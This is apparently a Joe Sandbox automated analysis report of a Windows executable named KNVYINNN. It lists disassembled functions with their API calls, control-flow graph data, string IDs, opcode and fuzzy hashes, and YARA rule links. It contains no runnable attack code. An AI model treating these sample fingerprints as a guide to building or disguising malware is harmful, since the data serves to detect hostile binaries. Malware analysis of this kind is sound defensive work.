                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1833 7ff7b1df2ec4-7ff7b1df2ee8 1834 7ff7b1df2f34-7ff7b1df2f46 call 7ff7b1df64b8 1833->1834 1835 7ff7b1df2eea-7ff7b1df2ef5 GetModuleHandleW 1833->1835 1841 7ff7b1df2ffe-7ff7b1df300a call 7ff7b1df6518 1834->1841 1842 7ff7b1df2f4c-7ff7b1df2f5d 1834->1842 1835->1834 1836 7ff7b1df2ef7-7ff7b1df2eff 1835->1836 1836->1834 1838 7ff7b1df2f01-7ff7b1df2f0e 1836->1838 1838->1834 1840 7ff7b1df2f10-7ff7b1df2f19 1838->1840 1840->1834 1843 7ff7b1df2f1b-7ff7b1df2f22 1840->1843 1857 7ff7b1df3015-7ff7b1df302f 1841->1857 1858 7ff7b1df300c-7ff7b1df3014 call 7ff7b1df3030 1841->1858 1844 7ff7b1df2f5f-7ff7b1df2f82 1842->1844 1845 7ff7b1df2fa7-7ff7b1df2faa 1842->1845 1843->1834 1849 7ff7b1df2f24-7ff7b1df2f2a 1843->1849 1850 7ff7b1df2f84-7ff7b1df2f9a 1844->1850 1851 7ff7b1df2f9e-7ff7b1df2fa5 1844->1851 1847 7ff7b1df2fac 1845->1847 1848 7ff7b1df2fb9-7ff7b1df2fbb 1845->1848 1853 7ff7b1df2fb3-7ff7b1df2fb8 call 7ff7b1df3af0 1847->1853 1855 7ff7b1df2fd0-7ff7b1df2ff6 call 7ff7b1df3e60 1848->1855 1856 7ff7b1df2fbd-7ff7b1df2fcb call 7ff7b1df3e60 1848->1856 1849->1834 1854 7ff7b1df2f2c-7ff7b1df2f2f call 7ff7b1df307c 1849->1854 1850->1851 1851->1853 1853->1848 1854->1834 1855->1841 1856->1855 1858->1857
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                    • String ID: |%}$|%}$|%}$|%}
                                                                                                                                                                    • API String ID: 3947729631-719264546
                                                                                                                                                                    • Opcode ID: 08242c9402510aaacbb855e0f4afd1eb98e83ed79ff682178dee8ec952dc1a7e
                                                                                                                                                                    • Instruction ID: c149bfb0ece4e72b03b3239474bc4008280efd75f7b17f5c71c7a650ceaa7449
                                                                                                                                                                    • Opcode Fuzzy Hash: 08242c9402510aaacbb855e0f4afd1eb98e83ed79ff682178dee8ec952dc1a7e
                                                                                                                                                                    • Instruction Fuzzy Hash: 5E418222B2965242FB28BB2D9450178A391AFB2748FC14039D70D4769DDFBDEB85C760
                                                                                                                                                                    Function 00007FF7B1DE5598 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Global$Resource$Object$AllocBitmapCreateDeleteGdipLoadLock$FindFreeFromSizeofStreamUnlock
                                                                                                                                                                    • String ID: ]
                                                                                                                                                                    • API String ID: 3561356813-3352871620
                                                                                                                                                                    • Opcode ID: 9a0c98e894c03ffcd4a5441dfbccd5c948591e1238010eb56e1fc7e2f4ec0ff3
                                                                                                                                                                    • Instruction ID: 422b05e76c5d17b85d54a477910686622bfe6cb72fefbf7b35ea4fade2829e85
                                                                                                                                                                    • Opcode Fuzzy Hash: 9a0c98e894c03ffcd4a5441dfbccd5c948591e1238010eb56e1fc7e2f4ec0ff3
                                                                                                                                                                    • Instruction Fuzzy Hash: 65118726B0D24141EF18BB69A614279E291AF57BCAF984034DB4D47B9DDFBCE400CA20
                                                                                                                                                                    Function 00007FF7B1DE45F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AutoClassCompareCompleteFindNameStringWindow
                                                                                                                                                                    • String ID: EDIT$|%}
                                                                                                                                                                    • API String ID: 4243998846-1276220876
                                                                                                                                                                    • Opcode ID: effa28ef0a531a0ca80e413958961d0d8849bbb69c481397a3838a8d7711c527
                                                                                                                                                                    • Instruction ID: 712a67acbdfbec729b3e6e078f2deb9737b3fcbe1cda62bd9f476291bf050569
                                                                                                                                                                    • Opcode Fuzzy Hash: effa28ef0a531a0ca80e413958961d0d8849bbb69c481397a3838a8d7711c527
                                                                                                                                                                    • Instruction Fuzzy Hash: BC011252B1964281FF24AB29FC517B9A390AFAAB4AFC44036CA4D4675CDFACD145C620
                                                                                                                                                                    Function 00007FF7B1DE53A0 Relevance: 7.5, APIs: 5, Instructions: 27windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Message$DialogDispatchPeekTranslate
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1266772231-0
                                                                                                                                                                    • Opcode ID: 5f5c90df7198428124567ceda02b33719cfeed444350051be0d47f656ce59d7f
                                                                                                                                                                    • Instruction ID: e4b83db3056198cd2c982581849b7d8d2491d3dd951823e0ce14ccd4bdc1cd40
                                                                                                                                                                    • Opcode Fuzzy Hash: 5f5c90df7198428124567ceda02b33719cfeed444350051be0d47f656ce59d7f
                                                                                                                                                                    • Instruction Fuzzy Hash: D2F03126B2854282EB54AB68E895E3AA350BFA670AFD05031D74E4195CDF6CD508DB10
                                                                                                                                                                    Function 00007FF7B1DF6070 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 237COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharMultiWide$AllocHeap
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3475569825-1550162156
                                                                                                                                                                    • Opcode ID: c4e2cd8c2fe5dc7659fc2eef0e0b2d9fb80c552892d0a1dacc35bb58995dece5
                                                                                                                                                                    • Instruction ID: 8c8cde8b166d94bc5f595331505569c6ddde6d43b3f05f3db58800c0cc629ae7
                                                                                                                                                                    • Opcode Fuzzy Hash: c4e2cd8c2fe5dc7659fc2eef0e0b2d9fb80c552892d0a1dacc35bb58995dece5
                                                                                                                                                                    • Instruction Fuzzy Hash: E3A1A362B1874286EB24AF69D440379A3D0FB66B9CF884235EB1D46BCDDFBCD6448310
                                                                                                                                                                    Function 00007FF7B1DD3388 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • CreateDirectoryW.KERNELBASE(00000001,00000001,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD33D0
                                                                                                                                                                    • CreateDirectoryW.KERNEL32(00000001,00000001,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD3405
                                                                                                                                                                    • GetLastError.KERNEL32(00000001,00000001,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD3422
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CreateDirectory$ErrorLast
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 2485089472-1550162156
                                                                                                                                                                    • Opcode ID: 6c5e8e7716f465d77bebcbb84107f9bb1b4a37815593a3b8c821a5457e370078
                                                                                                                                                                    • Instruction ID: 7de680c51523eb60d8a8aefe2824906dd61b7f3af5dc682506bead9f02fe4055
                                                                                                                                                                    • Opcode Fuzzy Hash: 6c5e8e7716f465d77bebcbb84107f9bb1b4a37815593a3b8c821a5457e370078
                                                                                                                                                                    • Instruction Fuzzy Hash: 4C21C556A0868251F7747B29A5413B9E351AF667CCFC44031DB4D436CDDFECE6458230
                                                                                                                                                                    Function 00007FF7B1DD93FC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Message$LoadStringText$DialogDispatchItemPeekTranslateWindowswprintf
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1010759681-1550162156
                                                                                                                                                                    • Opcode ID: 41d15c9fbbc784fc66378d85622167e862d31721dc50d3c42cd6f485a28599ae
                                                                                                                                                                    • Instruction ID: 870ab3b426bacc24a09bfc4f77069ae448cb7861e5d7db3f8e08fa7d88f9a767
                                                                                                                                                                    • Opcode Fuzzy Hash: 41d15c9fbbc784fc66378d85622167e862d31721dc50d3c42cd6f485a28599ae
                                                                                                                                                                    • Instruction Fuzzy Hash: BFF0C852E0C58241FB147764EC513F9A290AF6A7CDFC44135F74D0339ECD6CD2018660
                                                                                                                                                                    Function 00007FF7B1DEA03C Relevance: 6.1, APIs: 4, Instructions: 94COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1452418845-0
                                                                                                                                                                    • Opcode ID: 85e54690f41a012079f66530632c451383264533cc06b9835428997a4d5ebcf7
                                                                                                                                                                    • Instruction ID: 9fd02311273e85d984bc92eb2d452da8329c6141ea090bd21d578f06c202b824
                                                                                                                                                                    • Opcode Fuzzy Hash: 85e54690f41a012079f66530632c451383264533cc06b9835428997a4d5ebcf7
                                                                                                                                                                    • Instruction Fuzzy Hash: A7311A22A0915391FF18BB6C94513F9A3919F6378DFC58539DB0E472DFDEACAA048220
                                                                                                                                                                    Function 00007FF7B1DD22A4 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorLast$FileHandleRead
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2244327787-0
                                                                                                                                                                    • Opcode ID: 5fa13731cb22174931b40eaa70b7567f67375bcddea9404ffcce443ca020713d
                                                                                                                                                                    • Instruction ID: 324afabd0b6c6d0959a2091605d1e07fb385510316ad6e232c53609bb23013a4
                                                                                                                                                                    • Opcode Fuzzy Hash: 5fa13731cb22174931b40eaa70b7567f67375bcddea9404ffcce443ca020713d
                                                                                                                                                                    • Instruction Fuzzy Hash: B821A431E0C552D5EB206B29A400239E3A0BF67B9CF944539DB5D4779CCFACE8458760
                                                                                                                                                                    Function 00007FF7B1DF7938 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 00007FF7B1DF739C: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF7B1DF76B9,?,?,?,?,?,?,?,00007FF7B1DF7869), ref: 00007FF7B1DF73C6
                                                                                                                                                                    • IsValidCodePage.KERNEL32(?,?,?,00000000,?,00000000,00000001,00007FF7B1DF776C,?,?,?,?,?,?,?,00007FF7B1DF7869), ref: 00007FF7B1DF79B2
                                                                                                                                                                    • GetCPInfo.KERNEL32(?,?,?,00000000,?,00000000,00000001,00007FF7B1DF776C,?,?,?,?,?,?,?,00007FF7B1DF7869), ref: 00007FF7B1DF79C7
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CodeInfoPageValid
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 546120528-1550162156
                                                                                                                                                                    • Opcode ID: 23c523cea362783629642b46c0c719700607a77ed36913aace6f7e0d5d51bdbf
                                                                                                                                                                    • Instruction ID: 13c3a36fda40ae7d9d50c77bec7e7c61abf53f818fd2ec20976f06678fe813a9
                                                                                                                                                                    • Opcode Fuzzy Hash: 23c523cea362783629642b46c0c719700607a77ed36913aace6f7e0d5d51bdbf
                                                                                                                                                                    • Instruction Fuzzy Hash: 1981E262A0828285E760AF6C98441FDF791FB66B4CFC98131CB4D4668CCEBCEB45C360
                                                                                                                                                                    Function 00007FF7B1DF74AC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Info
                                                                                                                                                                    • String ID: $|%}
                                                                                                                                                                    • API String ID: 1807457897-1219002111
                                                                                                                                                                    • Opcode ID: a2ab0296577d90eab08ff6961b23e1cd1b19fa53aab6bc0b2d64e4c8e20b37dc
                                                                                                                                                                    • Instruction ID: 87c2cbf83192f7364c366603a10903dce65d1c0e86c3c262551c83337816d991
                                                                                                                                                                    • Opcode Fuzzy Hash: a2ab0296577d90eab08ff6961b23e1cd1b19fa53aab6bc0b2d64e4c8e20b37dc
                                                                                                                                                                    • Instruction Fuzzy Hash: 5E518E72A182C19AE7619F2CE0443EDBBA0F759748F944135D78D47A5DCBBCD245CB10
                                                                                                                                                                    Function 00007FF7B1DD25E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 2976181284-1550162156
                                                                                                                                                                    • Opcode ID: 70d3618d75e320ed4a1f73b4cc8fd397ce23708628bd50f88bf72d9d1ff381b8
                                                                                                                                                                    • Instruction ID: 3bd7b33be0ee8dca0033764f0bd91214ff6b72615fc8b816b721722d485cf3b7
                                                                                                                                                                    • Opcode Fuzzy Hash: 70d3618d75e320ed4a1f73b4cc8fd397ce23708628bd50f88bf72d9d1ff381b8
                                                                                                                                                                    • Instruction Fuzzy Hash: BD31F622B1974292FF606B2DD6402B9A350AF26BDCF944135DF1D07BECDEADE541C620
                                                                                                                                                                    Function 00007FF7B1DD2138 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 823142352-1550162156
                                                                                                                                                                    • Opcode ID: d43b1e29ab31128e26cd6a21622dab8a33894e68f4ecd2d57683f31805451008
